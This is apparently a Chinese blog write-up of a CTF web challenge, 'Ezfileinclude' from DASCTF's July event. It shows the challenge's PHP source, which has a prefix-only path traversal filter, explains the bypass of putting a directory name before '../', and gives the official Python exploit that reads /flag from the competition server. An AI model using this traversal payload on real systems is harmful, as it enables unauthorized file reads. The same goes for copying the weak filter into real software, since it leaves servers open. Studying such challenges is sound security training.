安恒七月赛DASCTFweb类之Ezfileinclude

Ezfileinclude

1. 先介绍一下自己在做题中的问题。

打开题目是一个简单的页面,F12查看源代码,发现一个image.php?t=1595656230&f=Z3F5LmpwZw==
然后仔细一看,发现t表示时间戳,f是表示文件名。解密之后是gqy.jpg。

2. 大致思路

我们需要获得当前的时间戳,和需要包含的文件名去读取flag文件。

3. 问题

自己在做题的时候不该怎么样操作都不能获得flag文件?问题可能是路径不对?文件名不对?
但是我尝试获得index.php文件的时候也没有获取成功。和尝试获取/etc/passwd也没有成功?
说明肯定有问题?
最后尝试获得/gqy.jpg,居然成功了!!!但是当时没有发现问题

4. 查看官方的wp

查看了官方的wp之后从发现,$file是进行了拼接操作的!
所以我们可以获得/gqy.jpg,其他的不能获得。
之后查看了源代码

<?php

    if(!isset($_GET['t']) || !isset($_GET['f'])){
        echo "you miss some parameters";
        exit();
    }
    
    $timestamp = time();

    if(abs($_GET['t'] - $timestamp) > 10){
        echo "what's your time?";
        exit();
    }

    $file = base64_decode($_GET['f']);
    
    if(substr($file, 0, strlen("/../")) === "/../" || substr($file, 0, strlen("../")) === "../" || substr($file, 0, strlen("./")) === "./" || substr($file, 0, strlen("/.")) === "/." || substr($file, 0, strlen("//")) === "//") {
        echo 'You are not allowed to do that.';
    }
    else{
        echo file_get_contents('/var/www/html/img/'.$file);
    }

?>

发现确实是进行了拼接操作,file拼接了前面的**/var/www/html/img**

5. 解题

现在查看了源代码,这样就方便多了。
我们在看waf代码这一块。是使用了substr()函数和strlen()函数来进行判断。
过滤原则是:用户输入的file进行截取前面4位或者3位或者2位判断是不是存在/…/,…/等等
我们在本地实验看看如何绕过。
第一次我们正常输入是直接拦截了的

如果我们在前面添加其他目录在进行穿越,只有满足前4位不能规定的符号就可以绕过。

发现直接绕过成功。

6. payload

这里附上官方的exp(由于本人python比较菜还不会写py)

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests as req#重新命名
import base64 as b
import time as t
from urllib.parse import quote_plus as urlen

HOST = "http://183.129.189.60:10009/image.php?t={}&f=".format(int(t.time()))#h获得当前的时间戳给参数
file = 'y1ng/../../../../../../../flag'#构造file
file = b.b64encode(file.encode("utf-8")).decode("utf-8")#对file进行base64加密
url = HOST+urlen(file)#拼接参数
print(req.get(url).text)#打印结果

7. 总结

在进行文件包含的时候,可能存在一定的waf,和对file进行拼接。
需要多多思考,想办法绕过waf.

参考文章

猜你喜欢

转载自blog.csdn.net/qq_46091464/article/details/107582590